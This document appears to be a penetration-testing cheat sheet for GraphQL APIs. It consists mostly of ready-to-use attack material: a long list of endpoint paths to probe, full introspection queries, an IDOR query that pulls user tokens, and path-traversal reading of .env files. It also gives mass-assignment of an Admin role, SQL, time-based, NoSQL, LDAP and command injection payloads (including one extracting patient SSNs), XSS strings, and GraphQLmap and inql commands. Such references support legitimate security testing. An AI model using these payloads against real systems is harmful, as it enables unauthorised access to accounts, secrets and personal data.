GraphQL
Found a target using GraphQL?
Run the introspection query to map out all methods
Use GraphQL Voyager to display all methods
Use BatchQL or the InQL extension to test all methods for IDORs, SQLi, SSRF, etc
Definition
Query is an operation to retrieve data (read).
Mutation is an operation used to submit and write data (create, update, and delete).
Subscription is an operation used to send data (read) when an event occurs. Subscription is a way for GraphQL clients to listen to live updates from the server.
Detection
/graphql
/altair
/explorer
/graphiql
/graphiql.css
/graphiql/finland
/graphiql.js
/graphiql.min.css
/graphiql.min.js
/graphiql.php
/graphql
/graphql/console
/graphql-explorer
/graphql.php
/graphql/schema.json
/graphql/schema.xml
/graphql/schema.yaml
/playground
/subscriptions
/api/graphql
/graph
/v1/altair
/v1/explorer
/v1/graphiql
/v1/graphiql.css
/v1/graphiql/finland
/v1/graphiql.js
/v1/graphiql.min.css
/v1/graphiql.min.js
/v1/graphiql.php
/v1/graphql
/v1/graphql/console
/v1/graphql-explorer
/v1/graphql.php
/v1/graphql/schema.json
/v1/graphql/schema.xml
/v1/graphql/schema.yaml
/v1/playground
/v1/subscriptions
/v1/api/graphql
/v1/graph
/v2/altair
/v2/explorer
/v2/graphiql
/v2/graphiql.css
/v2/graphiql/finland
/v2/graphiql.js
/v2/graphiql.min.css
/v2/graphiql.min.js
/v2/graphiql.php
/v2/graphql
/v2/graphql/console
/v2/graphql-explorer
/v2/graphql.php
/v2/graphql/schema.json
/v2/graphql/schema.xml
/v2/graphql/schema.yaml
/v2/playground
/v2/subscriptions
/v2/api/graphql
/v2/graph
/v3/altair
/v3/explorer
/v3/graphiql
/v3/graphiql.css
/v3/graphiql/finland
/v3/graphiql.js
/v3/graphiql.min.css
/v3/graphiql.min.js
/v3/graphiql.php
/v3/graphql
/v3/graphql/console
/v3/graphql-explorer
/v3/graphql.php
/v3/graphql/schema.json
/v3/graphql/schema.xml
/v3/graphql/schema.yaml
/v3/playground
/v3/subscriptions
/v3/api/graphql
/v3/graph
/v4/altair
/v4/explorer
/v4/graphiql
/v4/graphiql.css
/v4/graphiql/finland
/v4/graphiql.js
/v4/graphiql.min.css
/v4/graphiql.min.js
/v4/graphiql.php
/v4/graphql
/v4/graphql/console
/v4/graphql-explorer
/v4/graphql.php
/v4/graphql/schema.json
/v4/graphql/schema.xml
/v4/graphql/schema.yaml
/v4/playground
/v4/subscriptions
/v4/api/graphql
/v4/graph
Basics
Fingerprinting
Scan
Introspection enabled
{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

query FullIntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Introspection disabled
Error Messages

JS Files
Download all js files to directory js_files
Run this command:
grep -Eo '(query|mutation) [a-zA-Z0-9_]+(' js_files -R

Scan endpoints
GraphQLmap -u https://target.com/graphql
IDOR
IDORquery {
currentUser(internalId: 1337) {
role
name
email
token
}
}
Change the internalId field
Add extra field
Initial query
query {
listPosts(postId: 13) {
title
description
}
}
Modified query
query {
listPosts(postId: 13) {
title
description
}
user {
username
email
firstName
lastName
}
}
Path Traversal
query {
readFile(path: "../../../../../.env")
}
Mass Asignement - mutation
Mass AssignmentInitial query
mutation {
registerAccount(nickname:"hacker", email:"hacktheplanet@yeswehack.ninja", password:"StrongP@ssword!") {
token {
accessToken
}
user {
email
nickname
role
}
}
}
}
Modified query - role added
mutation {
registerAccount(nickname:"hacker", email:"hacktheplanet@yeswehack.ninja", password:"StrongP@ssword!", role:"Admin") {
token {
accessToken
}
user {
email
nickname
role
}
}
}
}
CSRF
Bypassing rate limits


Batching attack
Tool: batchql
SQL injection
example.com/graphql?query={__schema{types{name}}}
Get all informations about the API schema:
__schema {
types {
name,
fields {
name
}
}
}
Ex:
"){firstname}__schema{types{name,fields{name}}}}#}"
query {
customer(id: "22371' OR 1=1–") {
name,
email,
address,
contact
}
}
SQL injection - Time based

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
Automated - Graphqlmap
python3 GraphQLmap/graphqlmap.py -u https://target.com/graphql -i
NoSQL Injection
NoSQL injectionquery {
users(search: "{\"email\": {\"$gte\": \"\"}}",
options: "{\"fields\": {}}") {
_id
username
fullname
email
}
}
Use $regex
, $ne
frominside a search
parameter.
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}
LDAP Injection
LDAP Injectionquery {
user(username: "*") {
name
email
groups
}
}
Command injection
Command Injectionquery {
getUser(id: "1; ls -la") {
name
email
}
}
XSS
XSSquery {
getComment(id: "1") {
user
comment: "<script>alert('XSS Attack')</script>"
}
}
HTML Injection
mutation {
createPaste(title:"<h1>hello!</h1><script>alert('Attack')</script>", content:"zzzz", public:true) {
paste {
id
}
}
}
DoS throught batched queries
Wordlists
GraphQL Raider - Burp Extension
InQL
Burp Extension
CLI
$ pip install inql
$ inql -t https://anilist.co/graphql
Tools
Interesting Book
Black Hat GraphQL: Attacking Next Generation APIs This hands-on book teaches penetration testers how to identify vulnerabilities in apps that use GraphQL, a data query and manipulation language for APIs adopted by major companies like Facebook and GitHub.
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Interesting Reports
1. https://hackerone.com/reports/2048725
2. https://hackerone.com/reports/2524939
3. https://hackerone.com/reports/2357012
4. https://hackerone.com/reports/2122671
5. https://hackerone.com/reports/2207248
6. https://hackerone.com/reports/1864188
7. https://hackerone.com/reports/1085332
8. https://hackerone.com/reports/1084904
9. https://hackerone.com/reports/1293377
10. https://hackerone.com/reports/1192460
Resources
Last updated